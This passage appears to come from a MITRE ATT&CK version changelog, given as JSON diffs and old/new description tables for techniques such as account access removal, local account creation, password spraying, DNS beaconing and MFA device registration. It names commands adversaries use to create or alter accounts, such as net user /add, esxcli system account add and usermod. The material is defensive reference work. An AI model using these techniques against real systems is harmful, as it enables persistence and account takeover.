modified via esxcli (`system account set`, `system account remove`).\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n\\n* Event ID 4723 - An attempt was made to change an account's password\\n* Event ID 4724 - An attempt was made to reset an account's password\\n* Event ID 4726 - A user account was deleted\\n* Event ID 4740 - A user account was locked out\\n\\nAlerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:\\n-\\n-* Event ID 4723 - An attempt was made to change an account's password\\n-* Event ID 4724 - An attempt was made to reset an account's password\\n-* Event ID 4726 - A user account was deleted\\n-* Event ID 4740 - A user account was locked out\\n-\\n-Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Obsidian Security SaaS Ransomware June 2023\", \"description\": \"Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.\", \"url\": \"https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/\"}, \"root['x_mitre_contributors'][2]\": \"Liran Ravich, CardinalOps\"}}",
"previous_version": "1.4",
"version_change": "1.4 \u2192 1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may interrupt availability of system and network | t | 1 | Adversaries may interrupt availability of system and network |
| > | resources by inhibiting access to accounts utilized by legi | > | resources by inhibiting access to accounts utilized by legi | ||
| > | timate users. Accounts may be deleted, locked, or manipulate | > | timate users. Accounts may be deleted, locked, or manipulate | ||
| > | d (ex: changed credentials) to remove access to accounts. Ad | > | d (ex: changed credentials, revoked permissions for SaaS pla | ||
| > | versaries may also subsequently log off and/or perform a [Sy | > | tforms such as Sharepoint) to remove access to accounts.(Cit | ||
| > | stem Shutdown/Reboot](https://attack.mitre.org/techniques/T1 | > | ation: Obsidian Security SaaS Ransomware June 2023) Adversar | ||
| > | 529) to set malicious changes into place.(Citation: CarbonBl | > | ies may also subsequently log off and/or perform a [System S | ||
| > | ack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019) In W | > | hutdown/Reboot](https://attack.mitre.org/techniques/T1529) t | ||
| > | indows, [Net](https://attack.mitre.org/software/S0039) utili | > | o set malicious changes into place.(Citation: CarbonBlack Lo | ||
| > | ty, <code>Set-LocalUser</code> and <code>Set-ADAccountPasswo | > | ckerGoga 2019)(Citation: Unit42 LockerGoga 2019) In Windows | ||
| > | rd</code> [PowerShell](https://attack.mitre.org/techniques/T | > | , [Net](https://attack.mitre.org/software/S0039) utility, <c | ||
| > | 1059/001) cmdlets may be used by adversaries to modify user | > | ode>Set-LocalUser</code> and <code>Set-ADAccountPassword</co | ||
| > | accounts. Accounts could also be disabled by Group Policy. I | > | de> [PowerShell](https://attack.mitre.org/techniques/T1059/0 | ||
| > | n Linux, the <code>passwd</code> utility may be used to chan | > | 01) cmdlets may be used by adversaries to modify user accoun | ||
| > | ge passwords. On ESXi servers, accounts can be removed or mo | > | ts. Accounts could also be disabled by Group Policy. In Linu | ||
| > | dified via esxcli (`system account set`, `system account rem | > | x, the <code>passwd</code> utility may be used to change pas | ||
| > | ove`). Adversaries who use ransomware or similar attacks ma | > | swords. On ESXi servers, accounts can be removed or modified | ||
| > | y first perform this and other Impact behaviors, such as [Da | > | via esxcli (`system account set`, `system account remove`). | ||
| > | ta Destruction](https://attack.mitre.org/techniques/T1485) a | > | Adversaries who use ransomware or similar attacks may firs | ||
| > | nd [Defacement](https://attack.mitre.org/techniques/T1491), | > | t perform this and other Impact behaviors, such as [Data Des | ||
| > | in order to impede incident response/recovery before complet | > | truction](https://attack.mitre.org/techniques/T1485) and [De | ||
| > | ing the [Data Encrypted for Impact](https://attack.mitre.org | > | facement](https://attack.mitre.org/techniques/T1491), in ord | ||
| > | /techniques/T1486) objective. | > | er to impede incident response/recovery before completing th | ||
| > | e [Data Encrypted for Impact](https://attack.mitre.org/techn | ||||
| > | iques/T1486) objective. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may add additional local or domain groups to an | t | 1 | An adversary may add additional local or domain groups to an |
| > | adversary-controlled account to maintain persistent access | > | adversary-controlled account to maintain persistent access | ||
| > | to a system or domain. On Windows, accounts may use the `ne | > | to a system or domain. On Windows, accounts may use the `ne | ||
| > | t localgroup` and `net group` commands to add existing users | > | t localgroup` and `net group` commands to add existing users | ||
| > | to local and domain groups.(Citation: Microsoft Net Localgr | > | to local and domain groups.(Citation: Microsoft Net Localgr | ||
| > | oup)(Citation: Microsoft Net Group) On Linux, adversaries ma | > | oup)(Citation: Microsoft Net Group) On Linux, adversaries ma | ||
| > | y use the `usermod` command for the same purpose.(Citation: | > | y use the `usermod` command for the same purpose.(Citation: | ||
| > | Linux Usermod) For example, accounts may be added to the lo | > | Linux Usermod) For example, accounts may be added to the lo | ||
| > | cal administrators group on Windows devices to maintain elev | > | cal administrators group on Windows devices to maintain elev | ||
| > | ated privileges. They may also be added to the Remote Deskto | > | ated privileges. They may also be added to the Remote Deskto | ||
| > | p Users group, which allows them to leverage [Remote Desktop | > | p Users group, which allows them to leverage [Remote Desktop | ||
| > | Protocol](https://attack.mitre.org/techniques/T1021/001) to | > | Protocol](https://attack.mitre.org/techniques/T1021/001) to | ||
| > | log into the endpoints in the future.(Citation: Microsoft R | > | log into the endpoints in the future.(Citation: Microsoft R | ||
| > | DP Logons) On Linux, accounts may be added to the sudoers gr | > | DP Logons) Adversaries may also add accounts to VPN user gro | ||
| > | oup, allowing them to persistently leverage [Sudo and Sudo C | > | ups to gain future persistence on the network.(Citation: Cyb | ||
| > | aching](https://attack.mitre.org/techniques/T1548/003) for e | > | er Security News) On Linux, accounts may be added to the sud | ||
| > | levated privileges. In Windows environments, machine accou | > | oers group, allowing them to persistently leverage [Sudo and | ||
| > | nts may also be added to domain groups. This allows the loca | > | Sudo Caching](https://attack.mitre.org/techniques/T1548/003 | ||
| > | l SYSTEM account to gain privileges on the domain.(Citation: | > | ) for elevated privileges. In Windows environments, machin | ||
| > | RootDSE AD Detection 2022) | > | e accounts may also be added to domain groups. This allows t | ||
| > | he local SYSTEM account to gain privileges on the domain.(Ci | ||||
| > | tation: RootDSE AD Detection 2022) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a device to an adversary-controlled | t | 1 | Adversaries may register a device to an adversary-controlled |
| > | account. Devices may be registered in a multifactor authent | > | account. Devices may be registered in a multifactor authent | ||
| > | ication (MFA) system, which handles authentication to the ne | > | ication (MFA) system, which handles authentication to the ne | ||
| > | twork, or in a device management system, which handles devic | > | twork, or in a device management system, which handles devic | ||
| > | e access and compliance. MFA systems, such as Duo or Okta, | > | e access and compliance. MFA systems, such as Duo or Okta, | ||
| > | allow users to associate devices with their accounts in orde | > | allow users to associate devices with their accounts in orde | ||
| > | r to complete MFA requirements. An adversary that compromise | > | r to complete MFA requirements. An adversary that compromise | ||
| > | s a user\u2019s credentials may enroll a new device in order to b | > | s a user\u2019s credentials may enroll a new device in order to b | ||
| > | ypass initial MFA requirements and gain persistent access to | > | ypass initial MFA requirements and gain persistent access to | ||
| > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | ||
| > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | ||
| > | ollment process may require only a username and password to | > | ollment process may require only a username and password to | ||
| > | enroll the account's first device or to enroll a device to a | > | enroll the account's first device or to enroll a device to a | ||
| > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | ||
| > | 2022) Similarly, an adversary with existing access to a net | > | 2022) Similarly, an adversary with existing access to a net | ||
| > | work may register a device to Entra ID and/or its device man | > | work may register a device or a virtual machine to Entra ID | ||
| > | agement system, Microsoft Intune, in order to access sensiti | > | and/or its device management system, Microsoft Intune, in or | ||
| > | ve data or resources while bypassing conditional access poli | > | der to access sensitive data or resources while bypassing co | ||
| > | cies.(Citation: AADInternals - Device Registration)(Citation | > | nditional access policies.(Citation: AADInternals - Device R | ||
| > | : AADInternals - Conditional Access Bypass)(Citation: Micros | > | egistration)(Citation: AADInternals - Conditional Access Byp | ||
| > | oft DEV-0537) Devices registered in Entra ID may be able t | > | ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio | ||
| > | o conduct [Internal Spearphishing](https://attack.mitre.org/ | > | n 2025) Devices registered in Entra ID may be able to condu | ||
| > | techniques/T1534) campaigns via intra-organizational emails, | > | ct [Internal Spearphishing](https://attack.mitre.org/techniq | ||
| > | which are less likely to be treated as suspicious by the em | > | ues/T1534) campaigns via intra-organizational emails, which | ||
| > | ail client.(Citation: Microsoft - Device Registration) Addit | > | are less likely to be treated as suspicious by the email cli | ||
| > | ionally, an adversary may be able to perform a [Service Exha | > | ent.(Citation: Microsoft - Device Registration) Additionally | ||
| > | ustion Flood](https://attack.mitre.org/techniques/T1499/002) | > | , an adversary may be able to perform a [Service Exhaustion | ||
| > | on an Entra ID tenant by registering a large number of devi | > | Flood](https://attack.mitre.org/techniques/T1499/002) on an | ||
| > | ces.(Citation: AADInternals - BPRT) | > | Entra ID tenant by registering a large number of devices.(Ci | ||
| > | tation: AADInternals - BPRT) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may communicate using the Domain Name System (DN | t | 1 | Adversaries may communicate using the Domain Name System (DN |
| > | S) application layer protocol to avoid detection/network fil | > | S) application layer protocol to avoid detection/network fil | ||
| > | tering by blending in with existing traffic. Commands to the | > | tering by blending in with existing traffic. Commands to the | ||
| > | remote system, and often the results of those commands, wil | > | remote system, and often the results of those commands, wil | ||
| > | l be embedded within the protocol traffic between the client | > | l be embedded within the protocol traffic between the client | ||
| > | and server. The DNS protocol serves an administrative fun | > | and server. The DNS protocol serves an administrative fun | ||
| > | ction in computer networking and thus may be very common in | > | ction in computer networking and thus may be very common in | ||
| > | environments. DNS traffic may also be allowed even before ne | > | environments. DNS traffic may also be allowed even before ne | ||
| > | twork authentication is completed. DNS packets contain many | > | twork authentication is completed. DNS packets contain many | ||
| > | fields and headers in which data can be concealed. Often kno | > | fields and headers in which data can be concealed. Often kno | ||
| > | wn as DNS tunneling, adversaries may abuse DNS to communicat | > | wn as DNS tunneling, adversaries may abuse DNS to communicat | ||
| > | e with systems under their control within a victim network w | > | e with systems under their control within a victim network w | ||
| > | hile also mimicking normal, expected traffic.(Citation: PAN | > | hile also mimicking normal, expected traffic.(Citation: PAN | ||
| > | DNS Tunneling)(Citation: Medium DnsTunneling) | > | DNS Tunneling)(Citation: Medium DnsTunneling) DNS beaconing | ||
| > | may be used to send commands to remote systems via DNS quer | ||||
| > | ies. A DNS beacon is created by tunneling DNS traffic (i.e.\u202f | ||||
| > | [Protocol Tunneling](https://attack.mitre.org/techniques/T15 | ||||
| > | 72)). The commands may be embedded into different DNS record | ||||
| > | s, for example, TXT or A records.(Citation: OilRig Uses Upda | ||||
| > | ted BONDUPDATER to Target Middle Eastern Government) DNS bea | ||||
| > | cons may be difficult to detect because the beacons infreque | ||||
| > | ntly communicate with infected devices.(Citation: DNS Beacon | ||||
| > | s) Infrequent communication conceals the malicious DNS traff | ||||
| > | ic with normal DNS traffic. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use brute force techniques to gain access to | t | 1 | Adversaries may use brute force techniques to gain access to |
| > | accounts when passwords are unknown or when password hashes | > | accounts when passwords are unknown or when password hashes | ||
| > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | > | are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Wit | ||
| > | hout knowledge of the password for an account or set of acco | > | hout knowledge of the password for an account or set of acco | ||
| > | unts, an adversary may systematically guess the password usi | > | unts, an adversary may systematically guess the password usi | ||
| > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | > | ng a repetitive or iterative mechanism.(Citation: Dragos Cra | ||
| > | shoverride 2018) Brute forcing passwords can take place via | > | shoverride 2018) Brute forcing passwords can take place via | ||
| > | interaction with a service that will check the validity of t | > | interaction with a service that will check the validity of t | ||
| > | hose credentials or offline against previously acquired cred | > | hose credentials or offline against previously acquired cred | ||
| > | ential data, such as password hashes. Brute forcing credent | > | ential data, such as password hashes. Brute forcing credent | ||
| > | ials may take place at various points during a breach. For e | > | ials may take place at various points during a breach. For e | ||
| > | xample, adversaries may attempt to brute force access to [Va | > | xample, adversaries may attempt to brute force access to [Va | ||
| > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | > | lid Accounts](https://attack.mitre.org/techniques/T1078) wit | ||
| > | hin a victim environment leveraging knowledge gathered from | > | hin a victim environment leveraging knowledge gathered from | ||
| > | other post-compromise behaviors such as [OS Credential Dumpi | > | other post-compromise behaviors such as [OS Credential Dumpi | ||
| > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | > | ng](https://attack.mitre.org/techniques/T1003), [Account Dis | ||
| > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | > | covery](https://attack.mitre.org/techniques/T1087), or [Pass | ||
| > | word Policy Discovery](https://attack.mitre.org/techniques/T | > | word Policy Discovery](https://attack.mitre.org/techniques/T | ||
| > | 1201). Adversaries may also combine brute forcing activity w | > | 1201). Adversaries may also combine brute forcing activity w | ||
| > | ith behaviors such as [External Remote Services](https://att | > | ith behaviors such as [External Remote Services](https://att | ||
| > | ack.mitre.org/techniques/T1133) as part of Initial Access. | > | ack.mitre.org/techniques/T1133) as part of Initial Access. | ||
| > | If an adversary guesses the correct password but fails to l | ||||
| > | ogin to a compromised account due to location-based conditio | ||||
| > | nal access policies, they may change their infrastructure un | ||||
| > | til they match the victim\u2019s location and therefore bypass th | ||||
| > | ose policies.(Citation: ReliaQuest Health Care Social Engine | ||||
| > | ering Campaign 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a single or small list of commonly used | t | 1 | Adversaries may use a single or small list of commonly used |
| > | passwords against many different accounts to attempt to acqu | > | passwords against many different accounts to attempt to acqu | ||
| > | ire valid account credentials. Password spraying uses one pa | > | ire valid account credentials. Password spraying uses one pa | ||
| > | ssword (e.g. 'Password01'), or a small list of commonly used | > | ssword (e.g. 'Password01'), or a small list of commonly used | ||
| > | passwords, that may match the complexity policy of the doma | > | passwords, that may match the complexity policy of the doma | ||
| > | in. Logins are attempted with that password against many dif | > | in. Logins are attempted with that password against many dif | ||
| > | ferent accounts on a network to avoid account lockouts that | > | ferent accounts on a network to avoid account lockouts that | ||
| > | would normally occur when brute forcing a single account wit | > | would normally occur when brute forcing a single account wit | ||
| > | h many passwords. (Citation: BlackHillsInfosec Password Spra | > | h many passwords. (Citation: BlackHillsInfosec Password Spra | ||
| > | ying) Typically, management services over commonly used por | > | ying) Typically, management services over commonly used por | ||
| > | ts are used when password spraying. Commonly targeted servic | > | ts are used when password spraying. Commonly targeted servic | ||
| > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | ||
| > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | ||
| > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | ||
| > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | ||
| > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | ||
| > | ) * VNC (5900/TCP) In addition to management services, adve | > | ) * VNC (5900/TCP) In addition to management services, adve | ||
| > | rsaries may \"target single sign-on (SSO) and cloud-based app | > | rsaries may \"target single sign-on (SSO) and cloud-based app | ||
| > | lications utilizing federated authentication protocols,\" as | > | lications utilizing federated authentication protocols,\" as | ||
| > | well as externally facing email applications, such as Office | > | well as externally facing email applications, such as Office | ||
| > | 365.(Citation: US-CERT TA18-068A 2018) In default environm | > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid d | ||
| > | ents, LDAP and Kerberos connection attempts are less likely | > | etection thresholds, adversaries may deliberately throttle p | ||
| > | to trigger events over SMB, which creates Windows \"logon fai | > | assword spraying attempts to avoid triggering security alert | ||
| > | lure\" event ID 4625. | > | ing. Additionally, adversaries may leverage LDAP and Kerbero | ||
| > | s authentication attempts, which are less likely to trigger | ||||
| > | high-visibility events such as Windows \"logon failure\" event | ||||
| > | ID 4625 that is commonly triggered by failed SMB connection | ||||
| > | attempts.(Citation: Microsoft Storm-0940) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise third-party DNS servers that can | t | 1 | Adversaries may compromise third-party DNS servers that can |
| > | be used during targeting. During post-compromise activity, a | > | be used during targeting. During post-compromise activity, a | ||
| > | dversaries may utilize DNS traffic for various tasks, includ | > | dversaries may utilize DNS traffic for various tasks, includ | ||
| > | ing for Command and Control (ex: [Application Layer Protocol | > | ing for Command and Control (ex: [Application Layer Protocol | ||
| > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | > | ](https://attack.mitre.org/techniques/T1071)). Instead of se | ||
| > | tting up their own DNS servers, adversaries may compromise t | > | tting up their own DNS servers, adversaries may compromise t | ||
| > | hird-party DNS servers in support of operations. By comprom | > | hird-party DNS servers in support of operations. By comprom | ||
| > | ising DNS servers, adversaries can alter DNS records. Such c | > | ising DNS servers, adversaries can alter DNS records. Such c | ||
| > | ontrol can allow for redirection of an organization's traffi | > | ontrol can allow for redirection of an organization's traffi | ||
| > | c, facilitating Collection and Credential Access efforts for | > | c, facilitating Collection and Credential Access efforts for | ||
| > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | > | the adversary.(Citation: Talos DNSpionage Nov 2018)(Citatio | ||
| > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | > | n: FireEye DNS Hijack 2019) Additionally, adversaries may l | ||
| > | everage such control in conjunction with [Digital Certificat | > | everage such control in conjunction with [Digital Certificat | ||
| > | es](https://attack.mitre.org/techniques/T1588/004) to redire | > | es](https://attack.mitre.org/techniques/T1588/004) to redire | ||
| > | ct traffic to adversary-controlled infrastructure, mimicking | > | ct traffic to adversary-controlled infrastructure, mimicking | ||
| > | normal trusted network communications.(Citation: FireEye DN | > | normal trusted network communications.(Citation: FireEye DN | ||
| > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Advers | > | S Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Altern | ||
| > | aries may also be able to silently create subdomains pointed | > | atively, they may be able to prove ownership of a domain to | ||
| > | at malicious servers without tipping off the actual owner o | > | a SaaS service in order to assert control of the service or | ||
| > | f the DNS server.(Citation: CiscoAngler)(Citation: Proofpoin | > | create a new administrative [Cloud Account](https://attack.m | ||
| > | t Domain Shadowing) | > | itre.org/techniques/T1136/003).(Citation: CyberCX SaaS Domai | ||
| > | n Hijacking 2025) Adversaries may also be able to silently c | ||||
| > | reate subdomains pointed at malicious servers without tippin | ||||
| > | g off the actual owner of the DNS server.(Citation: CiscoAng | ||||
| > | ler)(Citation: Proofpoint Domain Shadowing) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may compromise third-party network devices that | t | 1 | Adversaries may compromise third-party network devices that |
| > | can be used during targeting. Network devices, such as small | > | can be used during targeting. Network devices, such as small | ||
| > | office/home office (SOHO) routers, may be compromised where | > | office/home office (SOHO) routers, may be compromised where | ||
| > | the adversary's ultimate goal is not [Initial Access](https | > | the adversary's ultimate goal is not [Initial Access](https | ||
| > | ://attack.mitre.org/tactics/TA0001) to that environment -- i | > | ://attack.mitre.org/tactics/TA0001) to that environment, but | ||
| > | nstead leveraging these devices to support additional target | > | rather to leverage these devices to support additional targ | ||
| > | ing. Once an adversary has control, compromised network dev | > | eting. Once an adversary has control, compromised network d | ||
| > | ices can be used to launch additional operations, such as ho | > | evices can be used to launch additional operations, such as | ||
| > | sting payloads for [Phishing](https://attack.mitre.org/techn | > | hosting payloads for [Phishing](https://attack.mitre.org/tec | ||
| > | iques/T1566) campaigns (i.e., [Link Target](https://attack.m | > | hniques/T1566) campaigns (i.e., [Link Target](https://attack | ||
| > | itre.org/techniques/T1608/005)) or enabling the required acc | > | .mitre.org/techniques/T1608/005)) or enabling the required a | ||
| > | ess to execute [Content Injection](https://attack.mitre.org/ | > | ccess to execute [Content Injection](https://attack.mitre.or | ||
| > | techniques/T1659) operations. Adversaries may also be able t | > | g/techniques/T1659) operations. Adversaries may also be able | ||
| > | o harvest reusable credentials (i.e., [Valid Accounts](https | > | to harvest reusable credentials (i.e., [Valid Accounts](htt | ||
| > | ://attack.mitre.org/techniques/T1078)) from compromised netw | > | ps://attack.mitre.org/techniques/T1078)) from compromised ne | ||
| > | ork devices. Adversaries often target Internet-facing edge | > | twork devices. Adversaries often target Internet-facing edg | ||
| > | devices and related network appliances that specifically do | > | e devices and related network appliances that specifically d | ||
| > | not support robust host-based defenses.(Citation: Mandiant F | > | o not support robust host-based defenses.(Citation: Mandiant | ||
| > | ortinet Zero Day)(Citation: Wired Russia Cyberwar) Compromi | > | Fortinet Zero Day)(Citation: Wired Russia Cyberwar) Compro | ||
| > | sed network devices may be used to support subsequent [Comma | > | mised network devices may be used to support subsequent [Com | ||
| > | nd and Control](https://attack.mitre.org/tactics/TA0011) act | > | mand and Control](https://attack.mitre.org/tactics/TA0011) a | ||
| > | ivity, such as [Hide Infrastructure](https://attack.mitre.or | > | ctivity, such as [Hide Infrastructure](https://attack.mitre. | ||
| > | g/techniques/T1665) through an established [Proxy](https://a | > | org/techniques/T1665) through an established [Proxy](https:/ | ||
| > | ttack.mitre.org/techniques/T1090) and/or [Botnet](https://at | > | /attack.mitre.org/techniques/T1090) and/or [Botnet](https:// | ||
| > | tack.mitre.org/techniques/T1584/005) network.(Citation: Just | > | attack.mitre.org/techniques/T1584/005) network.(Citation: Ju | ||
| > | ice GRU 2024) | > | stice GRU 2024) |
net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nAdversaries may also create new local accounts on network firewall management consoles \u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136/001",
"external_id": "T1136.001"
},
{
"source_name": "cisco_username_cmd",
"description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
},
{
"source_name": "Cyber Security News",
"description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.",
"url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/"
},
{
"source_name": "Kubernetes Service Accounts Security",
"description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
"url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
},
{
"source_name": "Microsoft User Creation Event",
"description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network Devices",
"Containers",
"ESXi"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Creation\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51.903000+00:00\", \"old_value\": \"2025-04-15 19:58:36.237000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,6 @@\\n \\n For example, with a sufficient level of access, the Windows net user /add command can be used to create a local account. In Linux, the `useradd` command can be used, while on macOS systems, the dscl -create command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n \\n+Adversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n+\\n Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Cyber Security News\", \"description\": \"Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.\", \"url\": \"https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/\"}}}",
"previous_version": "1.4",
"version_change": "1.4 \u2192 1.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create a local account to maintain access to | t | 1 | Adversaries may create a local account to maintain access to |
| > | victim systems. Local accounts are those configured by an o | > | victim systems. Local accounts are those configured by an o | ||
| > | rganization for use by users, remote support, services, or f | > | rganization for use by users, remote support, services, or f | ||
| > | or administration on a single system or service. For examp | > | or administration on a single system or service. For examp | ||
| > | le, with a sufficient level of access, the Windows <code>net | > | le, with a sufficient level of access, the Windows <code>net | ||
